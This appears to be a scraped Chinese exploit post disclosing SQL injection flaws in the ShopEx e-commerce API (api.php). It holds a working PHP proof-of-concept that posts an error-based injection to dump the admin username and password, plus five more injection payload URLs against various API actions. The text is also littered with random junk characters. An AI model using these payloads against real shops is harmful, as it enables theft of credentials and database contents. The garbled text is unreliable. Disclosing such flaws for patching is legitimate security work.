|
|
缺陷文件:\core\api\payment\2.0\api_b2b_2_0_payment_cfg.php9 V u/ }$ A2 i( |5 f3 s
core\api\payment\1.0\api_b2b_2_0_payment_cfg.php. k$ G f+ G! D' X7 k5 L
3 M3 X" K: u5 W" O4 K3 b. a第44行 $data['columns'] 未做过滤导致注入1 t H3 l* F2 b- g( A
& `, n5 g7 r) z8 _<?php set_time_limit(0); ob_flush(); echo 'Test: http://localhost:808'."\r\n"; $sql = 'columns=* from sdb_payment_cfg WHERE 1 and (select 1 from(select count(*),concat((select (select (SELECT concat(username,0x7c,userpass) FROM sdb_operators limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&disabled=1'; $url='http://localhost:808/api.php?act=search_payment_cfg_list&api_version=2.0'; $ch = curl_init(); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_POSTFIELDS, $sql); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); flush(); $data = curl_exec($ch); echo $data; curl_close($ch); ?>外带一句 ShopEx对API操作的模块未做认证,任何用户都可访问,攻击者可通过它来对产品的分类,类型,规格,品牌等,进行添加,删除和修改,过滤不当还可造成注入.
+ g8 _) f! v, ] @$ k' O
: R, J9 |* S2 d) a; O( ~ g注射1:" B! C, i: }$ @- R% j" }
, _! B6 I, U# \# f% J9 j
http://www.0day5.com/api.php POST act=search_sub_regions&api_version=1.0&return_data=string&p_region_id=22 and (select 1 from(select count(*),concat(0x7c,(select (Select version()) from information_schema.tables limit 0,1),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)#
9 r9 n; O# C# k& f S+ \" o* N8 K8 w/ b9 G$ d
注射2:: O! Q* c, I+ `) ]4 H& j* r
http://www.0day5.com/shopex/api.php act=add_category&api_version=3.1&datas={"name":"name' and 1=x %23"}2 N) v5 X7 [& Z \0 a e# |
+ J& N/ C. k. L4 A9 q2 C5 k9 ]注射3:0 s! a* Y$ l) Y+ E5 a* {9 I
http://www.0day5.com/shopex/api.php act=get_spec_single&api_version=3.1&spec_id=1 xxx
& V. G( T9 N9 P4 o9 }: J! p: c4 i' [注射4:6 d" |' m8 P* E# \' Q, t1 ?# h
5 g \' ?# M& }; v) ?
http://www.0day5.com/shopex/api.php act=online_pay_center&api_version=1.0&order_id=1x&pay_id=1¤cy=1
. ~. x& [; n7 P' ?3 h" t# r
& K1 d& J. Y. a \" G, e6 n( ]% [& U/ r
注射5:& `: r; m1 N* `: m8 |; D; a$ Q
http://www.0day5.com/shopex/api.php act=search_dly_h_area&return_data=string&columns=xxxxx
4 C- o4 \( _, `9 v0 }7 c. b/ I- P$ h6 t( {' h! J- V
% Y3 [, c& p8 w! \0 p% B {
5 K- t; D" Y9 s5 A0 x* n) @$ G' C1 O6 Q, q1 D
- Z( u; f8 l/ J; f2 I
8 f L0 z* b9 p8 d8 s# O3 B9 L- x: R0 _ |
|